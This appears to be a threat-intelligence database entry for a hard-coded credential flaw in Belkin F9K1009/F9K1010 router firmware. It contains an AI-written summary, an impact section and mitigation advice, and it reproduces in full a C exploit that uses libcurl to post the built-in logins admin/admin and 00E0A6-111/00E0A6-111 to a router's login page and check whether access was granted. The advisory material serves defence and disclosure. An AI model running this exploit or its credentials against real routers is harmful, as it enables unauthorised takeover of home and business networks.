Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI Analysis
Technical Summary
The security threat concerns hard coded credentials found in specific firmware versions (2.00.04 and 2.00.09) of Belkin router models F9K1009 and F9K1010. Hard coded credentials are embedded usernames and passwords within the device firmware that cannot be changed by the user. This vulnerability allows an attacker to gain unauthorized access to the router's administrative interface or other privileged functions remotely if the device is exposed to untrusted networks. Since the credentials are hard coded, once discovered, they can be used repeatedly to compromise any device running the vulnerable firmware versions. The presence of exploit code written in C indicates that a proof-of-concept or functional exploit exists, potentially enabling automated attacks. The exploit likely targets the router’s remote management interface or services that authenticate using these embedded credentials. Although no CVSS score is provided, the medium severity rating suggests moderate risk, possibly due to limited exposure or required network access. However, the ability to remotely authenticate without user interaction significantly raises the threat level. The lack of patch links indicates that no official firmware update or fix has been publicly released at the time of reporting, increasing the urgency for mitigation.
Potential Impact
For European organizations, this vulnerability poses a significant risk to network security, especially for small and medium enterprises or home office setups that rely on Belkin F9K1009/F9K1010 routers. Successful exploitation can lead to unauthorized administrative access, allowing attackers to alter network configurations, intercept or redirect traffic, deploy malware, or create persistent backdoors. This compromises confidentiality, integrity, and availability of internal networks. Given the routers’ role as gateways, attackers could pivot to internal systems or exfiltrate sensitive data. The threat is heightened in environments where these routers are directly exposed to the internet or poorly segmented. Additionally, critical infrastructure or public sector entities using these devices may face operational disruptions or espionage risks. The absence of known exploits in the wild currently limits immediate widespread impact, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
Organizations should immediately inventory their network devices to identify any Belkin F9K1009 or F9K1010 routers running the vulnerable firmware versions. If found, isolate these devices from untrusted networks and disable remote management interfaces until a firmware update or patch is available. Network segmentation should be enforced to limit access to router management interfaces only to trusted internal hosts. Employ network monitoring to detect unusual administrative access attempts or traffic patterns indicative of exploitation. Where possible, replace vulnerable devices with models that do not contain hard coded credentials or have received security updates. Additionally, implement compensating controls such as VPN access for remote management and strong network access controls. Regularly check Belkin’s official channels for firmware updates or security advisories addressing this issue.
Affected Countries
Germany, United Kingdom, France, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying valid credentials. */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include "argparse.h" #include <stdlib.h> #include <time.h> #include <errno.h> #define FULL 2000 #define LOGIN_POST 1500 const char *nameFileC = NULL; int verbose = 0; const char *router = NULL; const char *cookies = NULL; int uC = 0; const char *fullurl = NULL; int sleepS = 0; int count = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordLogin[] = { "login_success", "Welcome", "Dashboard", "admin panel", "Set-Cookie", "Authorization", "token", "sessionid", "redirect", "access granted", "authenticated", "user authenticated", "login ok", "login complete", "login status=success", "login=1", "auth=1", "valid credentials", "home.htm", "main.htm", "index.htm", "config.htm", "firmware.htm", "admin.htm", NULL }; void sleepTime(int sec) { if (sec <= 0) { fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n"); exitSyscall(); } struct timespec req, rem; req.tv_sec = (time_t)sec; req.tv_nsec = 0; printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec); while (nanosleep(&req, &rem) == -1) { if (errno == EINTR) { req = rem; continue; } perror("\e[0;31m[-] Nanosleep failed !\e[0m"); exitSyscall(); } printf("\e[0;34m[+] Sleep successful.\e[0m\n"); } void detectDeviceType(const char *routerIp) { printf("\n=================================== [type Device] ===================================\e[0m\n"); CURL *curl = curl_easy_init(); if (!curl) exitSyscall(); struct Mem response = { NULL, 0 }; char full[FULL]; int len = snprintf(full, sizeof(full), "http://%s", routerIp); if (checkLen(len, full, sizeof(full))) { exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res)); } if (response.buffer) { if (strstr(response.buffer, "F9K1009")) { printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n"); } else if (strstr(response.buffer, "F9K1010")) { printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n"); } else { printf("\e[0;31m[-] Unknown device type\e[0m\n"); free(response.buffer); } } else { printf("\e[0;31m[-] Response Is NULL !\n"); }; response.buffer= NULL; response.len = 0; curl_easy_cleanup(curl); printf("=====================================================================================\n"); } void credentialsRequest(const char *routerIp) { CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } CURLcode res; char full[FULL]; int nL = 2; struct Mem response; response.buffer= NULL; response.len = 0; for (int l = 0; l <= nL; l++) { if (curl) { char full[FULL]; char post[LOGIN_POST]; if (fullurl != NULL ) { int lenFull = snprintf(full, sizeof(full), "%s", fullurl); if (checkLen(lenFull,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenFull); exitSyscall(); } printf("[+] Create FULL URL Successfully.\e[0m\n"); printf("[+] Default Port Request : %d\e[0m\n", 80); printf("[+] FULL URL : %s\n", full); } else { int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp); if (checkLen(lenI,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenI); exitSyscall(); } else { printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n"); printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp); printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80); printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full); } } if (l < 2) { //login admin int vA = snprintf(post, sizeof(post), "login_username=admin&login_password=admin"); if (checkLen(vA, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\e[0m\n", vA); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l); printf("\n%s\n", post); } else { //login 00E0A6-111 int vE = snprintf(post, sizeof(post), "login_usernam=00E0A6-111&login_password=00E0A6-111"); if (checkLen(vE, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\n", vE); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l); printf("\n%s\n", post); } curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { long httpCode = 0; long totalR; double timeredirect; char *redirectUrl = NULL; printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (response.len == 0) { printf("\e[0;31m[-] Response Len Zero !\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode); curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl); printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n"); printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect); printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR); printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl); printf("\e[0;35m=======================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { if (response.buffer) { for (int r = 0; wordLogin[r] != NULL; r++) { if (strstr(response.buffer, wordLogin[r]) != NULL) { printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]); printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",response.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]); } } } else { printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n"); printf("\e[0;31m[-] Possible Waf \e[0m\n"); } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } int main(int argc, const char **argv) { printf("+-----------------------------------------------------------+\n"); printf("| Author : [ Byte Reaper ] |\n"); printf("| CVE : [ CVE-2025-8730 ] |\n"); printf("| Type Vuln : [ hard-coded credentials ] |\n"); printf("| Exploit publishing : [ 08/08/2025 ] |\n"); printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n"); printf("+-----------------------------------------------------------+\n"); printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_STRING('f', "full", &fullurl, "FULL url FORMAT (Login File)"), OPT_HELP(), OPT_STRING('i', "ip", &router, "Router Ip (12.12.12.12)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('s', "sleep", &sleepS, "Sleep Request"), OPT_INTEGER('k', "count", &count, "Number For Loop Request (-k 8 (8 Request))"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (router == NULL && fullurl == NULL) { printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i <IP> \e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (fullurl) { credentialsRequest(NULL); } if (sleepS) { sleepTime(sleepS); } if (count) { for (int j = 0; j <= count; j++) { if (fullurl) { credentialsRequest(fullurl); } if (router) { credentialsRequest(router); } } } detectDeviceType(router); credentialsRequest(router); curl_global_cleanup(); return 0; }
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Description
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI-Powered Analysis
Technical Analysis
The security threat concerns hard coded credentials found in specific firmware versions (2.00.04 and 2.00.09) of Belkin router models F9K1009 and F9K1010. Hard coded credentials are embedded usernames and passwords within the device firmware that cannot be changed by the user. This vulnerability allows an attacker to gain unauthorized access to the router's administrative interface or other privileged functions remotely if the device is exposed to untrusted networks. Since the credentials are hard coded, once discovered, they can be used repeatedly to compromise any device running the vulnerable firmware versions. The presence of exploit code written in C indicates that a proof-of-concept or functional exploit exists, potentially enabling automated attacks. The exploit likely targets the router’s remote management interface or services that authenticate using these embedded credentials. Although no CVSS score is provided, the medium severity rating suggests moderate risk, possibly due to limited exposure or required network access. However, the ability to remotely authenticate without user interaction significantly raises the threat level. The lack of patch links indicates that no official firmware update or fix has been publicly released at the time of reporting, increasing the urgency for mitigation.
Potential Impact
For European organizations, this vulnerability poses a significant risk to network security, especially for small and medium enterprises or home office setups that rely on Belkin F9K1009/F9K1010 routers. Successful exploitation can lead to unauthorized administrative access, allowing attackers to alter network configurations, intercept or redirect traffic, deploy malware, or create persistent backdoors. This compromises confidentiality, integrity, and availability of internal networks. Given the routers’ role as gateways, attackers could pivot to internal systems or exfiltrate sensitive data. The threat is heightened in environments where these routers are directly exposed to the internet or poorly segmented. Additionally, critical infrastructure or public sector entities using these devices may face operational disruptions or espionage risks. The absence of known exploits in the wild currently limits immediate widespread impact, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
Organizations should immediately inventory their network devices to identify any Belkin F9K1009 or F9K1010 routers running the vulnerable firmware versions. If found, isolate these devices from untrusted networks and disable remote management interfaces until a firmware update or patch is available. Network segmentation should be enforced to limit access to router management interfaces only to trusted internal hosts. Employ network monitoring to detect unusual administrative access attempts or traffic patterns indicative of exploitation. Where possible, replace vulnerable devices with models that do not contain hard coded credentials or have received security updates. Additionally, implement compensating controls such as VPN access for remote management and strong network access controls. Regularly check Belkin’s official channels for firmware updates or security advisories addressing this issue.
Affected Countries
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Technical Details
- Edb Id
- 52407
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
/* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying... (13789 more characters)
Threat ID: 689a95b8ad5a09ad002b0971
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/4/2025, 1:38:30 AM
Last updated: 9/4/2025, 6:46:00 PM
Views: 143
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